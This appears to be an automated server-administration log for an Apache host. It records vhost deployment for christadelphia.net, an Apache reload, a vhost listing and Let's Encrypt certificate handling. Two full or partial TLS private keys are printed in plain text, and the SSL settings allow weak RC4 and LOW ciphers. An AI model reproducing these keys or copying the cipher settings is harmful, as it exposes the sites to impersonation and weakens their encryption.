----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-07 06:00:55: 

PUT: /tmp/pkp998397

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi


2025-10-07 06:00:55: 

chmod 755 /tmp/pkp998397; /tmp/pkp998397; rm /tmp/pkp998397

2025-10-07 06:00:55: 




2025-10-07 06:00:55: 

PUT: /tmp/pkp734602

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-07 06:00:55: 

chmod 755 /tmp/pkp734602; /tmp/pkp734602; rm /tmp/pkp734602

2025-10-07 06:00:56: 


.


2025-10-07 06:00:56: Establishing a connection
2025-10-07 06:00:56: 

PUT: /tmp/pkp366454

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-07 06:00:56: 

chmod 755 /tmp/pkp366454; /tmp/pkp366454; rm /tmp/pkp366454

2025-10-07 06:00:56: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-07 06:00:56: 

PUT: /tmp/pkp221885

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-07 06:00:56: 

chmod 755 /tmp/pkp221885; /tmp/pkp221885; rm /tmp/pkp221885

2025-10-07 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-07 06:00:56: 

PUT: /tmp/pkp327766

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-07 06:00:56: 

chmod 755 /tmp/pkp327766; /tmp/pkp327766; rm /tmp/pkp327766

2025-10-07 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt	5389
8f:2d:52:2d:b7:af:66:06:87:3d:a7:b5:4d:b5:0d:77

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBVm6RwOcSBs2Uwz2yOlvx3kVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMjI0WhcNMjYwMTA1MDUwMjIzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCuTL/sy0dPNYCfkhrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdSh
IiIgRhDfuptkR7fVhRcj+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWP
ifvDL1OVgdFwcGgFCgkDatSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6W
aj9/HkLeD0P6GhU6cbxEzIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix1
4K+olZlLVPuudO0OWJBqysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576
kzrfrPwenJ/4CCl6ef8OrctPPybpAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNHsyIBeAY2SSl7WkYlWZXsiJFuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjIuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGZvUIr8gAABAMARzBFAiEA/YOa1PMHFKhyXCNWx6jLE8Jv
rPzlKfPVs/SecvpIyF0CIAVOYFMndKm6aJ70N2xt5jG9PbfB6J/jiPfzfL2TDvtA
AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGZvUIr/wAABAMA
RjBEAiBYlIlVUBOfm2sOk45tdYbXQnZ82HWWIo/xFvDAhMDojgIgJ9t6oDtNcI3a
jHG+son+mnDH8/Iss8b+vY4UEFtHNuAwDQYJKoZIhvcNAQELBQADggEBAHGfKKbc
Izb0MgFalhdgUfmdN+Nd49o/jIFITqUOHqB9xnVYKIFEDDOx0MiZ7n8j1WyEyezw
G0eskKnwBANlP4WMCgMXXK5e4s2QGcqehaBUU3zBIGAyn2tP+LTvyMYVBmldphCG
ZNPG+lVPQA4sWO2ZBTg/oTKVWUTF5wTq6JBp0b3zG55VqMJMVW9/1FTme/g1W6Xv
MATePD8SGWbPt2dNuD+l3IGGaAdyfzjEpwNLXZ45YGoFVjIXYvaPXdvrX+gX9ERq
z4VOaeoy189EdCT/TOhvOlnQuyafmI342YMKLpaL4ZLjlF3H9NCQnObJMtvSOx53
pfZNQ225fTssGt8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuTL/sy0dPNYCf
khrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdShIiIgRhDfuptkR7fVhRcj
+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWPifvDL1OVgdFwcGgFCgkD
atSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6Waj9/HkLeD0P6GhU6cbxE
zIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix14K+olZlLVPuudO0OWJBq
ysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576kzrfrPwenJ/4CCl6ef8O
rctPPybpAgMBAAECggEALXW9FQCLz7/vlS7hL2ysMEJxHdJwPBNWaNRpdjJ6nub0
5mc1fhfJGYnfsEsbxXkgy4l7H/OIofr9ZxdL0rPi0j8fMk6xjd0w8MPn8Xd8/IDt
ikD8JnXi9rCyfxaJAIZmcXcTbhUTPEU6xpZlbw8Ay6ugbeggkR+07VIh2vhPE20e
ZjBHXuUfM8ymRQdAEEwygT+eduItLxIypSEYWfzNbNdGrF2ansamB3/9pV4bGMRx
l5vMLw+0MCgbVWjn+G+CaOgS7bDRszVrfygY+84XURYcXmZNryBlr/HZWYO4TW/t
PImJ9CjyMNfzr7TtWUZVnHzxck5qMTDk6UhwsnlGJQKBgQDgxB0z6y9uI3YnoVJT
vBzjcuT6JGL/mLhJM7B/sSSLpSMQWxFXCogbp7T+Z9DO4zHnUV6ulo/wb5Eg6kwU
O5MvnbthXUj962OXZj74HOqc+DEHtTGY1NfQwKlSa1+4rwyy9W38cv6TbKYABrqH
4E26aO0I3fbP/UVxSD6S6ujZPwKBgQDGhVXvlMSJkytJ+52WnCLshjJV1rlYUfOn
Z/q4ONpT/jFWt0RfeICSZCNqw6zlYnrg+c/yBlswbTOt5ufuz+EyRbpf7PrhA08X
1OF0rzVzlkpu6spM6Wv8kUKp/byIVsoW7VWUpdUUYlsQhwPkSJGkAXXuIPlk4J7f
i9rFBreN1wKBgDZXlAvqb8Q8NKPuP/5Yu89OBwhnZbwQS3X/Vkv5IzHUEj8xFWcq
969gA8WCihyLF5Squq6RXmmuP7NqkkxN/w8DHruylyQ1FhYTtWO9cgfThd8sMrqV
szwYaJexuCnpwLM/3YCsuNoh6ZyWA+E4HPLVzYFYUQUGYhS6d86Dlxp3AoGALzff
rNCRvrdGgJ5caUpR9DgnGMut4hf8AEF3HQJIy9mWGq4UkTC0RB2VXvuT0CuQVpqU
n1hrsCUJOb/GQsMnKTH0loRjV8nVsjFsPri92fRRV/h4jbqneLeER7KWeUdLYhCp
XmXjPKn4RwIWJuIr4fqG9lDZgOj8YOd+7YYfepkCgYB0aCJDHPfGXh+fv/6ODtrg
pvaczbAOqRCW3pDgtEF+82LvxG6/YOJZeW+/LyZgC5gRtsQBVB1OeQ/jADO+r1Bj
Gtog6cQ30jljcV0Bz0UobONjNoDdbO/Pj+xDrSJgOdMChwhn4Ke5hQXjqX97Pjdg
o8KzpZeHNN4M/i1TT4vDeQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-07 06:00:57: Establishing a connection
2025-10-07 06:00:58: Establishing a connection
2025-10-07 06:00:59: 

PUT: /tmp/pkp837237

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-07 06:00:59: 

chmod 755 /tmp/pkp837237; /tmp/pkp837237; rm /tmp/pkp837237

2025-10-07 06:01:00: 


0


2025-10-07 11:48:42: Establishing a connection
2025-10-08 06:00:01: Establishing a connection
2025-10-08 06:00:03: Establishing a connection
2025-10-08 06:00:04: 

PUT: /tmp/pkp661320

#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:00:05: 

chmod 755 /tmp/pkp661320; /tmp/pkp661320; rm /tmp/pkp661320

2025-10-08 06:00:05: 


1


2025-10-08 06:00:07: Establishing a connection
2025-10-08 06:00:08: 

PUT: /tmp/pkp968395

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ


2025-10-08 06:00:09: 

chmod 755 /tmp/pkp968395; /tmp/pkp968395; rm /tmp/pkp968395

2025-10-08 06:00:09: 




2025-10-08 06:00:15: Establishing a connection
2025-10-08 06:00:16: 

PUT: /tmp/pkp423468

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ


2025-10-08 06:00:17: 

chmod 755 /tmp/pkp423468; /tmp/pkp423468; rm /tmp/pkp423468

2025-10-08 06:00:18: 




2025-10-08 06:00:18: Establishing a connection
2025-10-08 06:00:19: 

PUT: /tmp/pkp156812

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
74:89:b8:0a:cb:c3:7b:49:1d:53:21:32:e2:f0:32:53

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWh1tbVXfZGdqRGgeNJiL+IIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMTQ0WhcNMjYwMTA2MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAr2vzrAnuthF/kRKXKDKtZ+q9vq4YtDDbNs3Br+rNwjjsXgJFXlgLGlVZ
DsGSghDpA0UHRnic/+ra5YOIZ2X2813pp5ZQIY3cdGU0Kd6+8Athd3nmfb/r6Kc6
3cLsJcEXm421XL7KDLaejYX2eYMUEkY3XNJbxP/gyMDwhYXffWzUcCoUeGOA7AYO
U9dWVh5x9Fx9INLAJtwWGmZb0EUnccRek43Qv1Uhg+j4e1SeLWzKicGecONEY0Q2
uc//DoeSQ6YnkQjrBUQL82ZNRNA4GDTn9t39PZoLlKLVacpjMOJVeD5fBKdS/bdt
fjFRpc+aaFLneZMKtEANexlkwxdMQQIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTWXXL/88GAo6b7OTWIQy8s84jsXjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB2AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmcJn7u0AAAQD
AEcwRQIgDKglhOMEM8LHWUBTbbwePxQjvaJZW+aqg9OTXbLe7PkCIQCR5016KBeJ
AUMVeJyUbcyct7YcR1kCW7PDi87M5tBgMQB1ABmG1Mcoqm/+ugNveCpNAZGqzi1y
MQ+uzl1wQS0lTMfUAAABmcJn7vQAAAQDAEYwRAIgXRY7n2wAOMTpNOkweREuL8XF
7sRCeWZ39h8QjliiqQUCIHmu57zPwtj1Z2yJTyEcV5bIjKgfigihD1Cvv3pCHf6w
MA0GCSqGSIb3DQEBCwUAA4IBAQCN3RiB7kOUgYmBHGFoGTZxHd9FUQ97r1T6Bz2L
KdFcbQYqiNlKUNU4yAZAKnMyGpGrJ2bhm2t+GlIB5yfuU6VMgIFAUOTkB3u/4Hhb
/32Se0MYMVw5s6x5RjzZ828ea5A4JDbfLdP3mkdIOKp+AAZfaofQjsW4a3gPMdlw
VyNH/X3ylFVfEcBC1cqHZV3HPkmtsXygcE/nGGXnw2Mn/iuIOQJW/TbF2SaTfuq6
UeaKJ7cM1Etw7BJFYz1vTBv9P+CbGiR2oOFJwJ7TwI+tRvFvgDmAInZznpZm7TlG
QhgPc+D8up0LwaKq+J/KVm0f2yN/stkdXVXtFg1KgGfSAt2L
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCva/OsCe62EX+R
EpcoMq1n6r2+rhi0MNs2zcGv6s3COOxeAkVeWAsaVVkOwZKCEOkDRQdGeJz/6trl
g4hnZfbzXemnllAhjdx0ZTQp3r7wC2F3eeZ9v+vopzrdwuwlwRebjbVcvsoMtp6N
hfZ5gxQSRjdc0lvE/+DIwPCFhd99bNRwKhR4Y4DsBg5T11ZWHnH0XH0g0sAm3BYa
ZlvQRSdxxF6TjdC/VSGD6Ph7VJ4tbMqJwZ5w40RjRDa5z/8Oh5JDpieRCOsFRAvz
Zk1E0DgYNOf23f09mguUotVpymMw4lV4Pl8Ep1L9t21+MVGlz5poUud5kwq0QA17
GWTDF0xBAgMBAAECggEAV5grG+v1w/pm3bUPv6XWiv5fcxiSA2AmBm6l2ccAqYwt
EyBFLT//g028465rDwGMqPJOGLVfiDboyRRuB1uV/Z4Wb3WSW77vpztl2cZ9R3YX
XEaFfqNYFFt0/Ik5y/xoYmdXeZFXaRPDhl2vXqvCWQGw4Wu1IWC4COa286WOnJzo
QRonL7ZVXGbDnv3hJxJ+BLfimN1KHvGpRv8wm7V4gnsfqyhSq3ECjPsQsjsJIuEg
3CZEx0dZDSL3KNvhpPkrLHySPaUAtUXDtOFkcdwcWVYvscTxvKy7qz/6G8PIsAie
VvZ52Qo9JYbL/xZEGnJbH27pB1p/ZDYEpuUQyjc08QKBgQDh8aI3k7DDxO4VGdug
xDpUkAwt/RMUPMrScGiKuiFXnoY+F3C33glj5PjktkeM1NQU8uj6qEshy/MgzQ5+
E+h0Usm+wmAy4T3yvvoABy/eG+MDfOwFug0C+7Ixv/j5d+px7jo+/Oa3HB5UItZx
R/66d0HYpBldGlAnp77yrW6W7QKBgQDGwdGnGuXoMhVqUnburSv9WyFqwYbm32ge
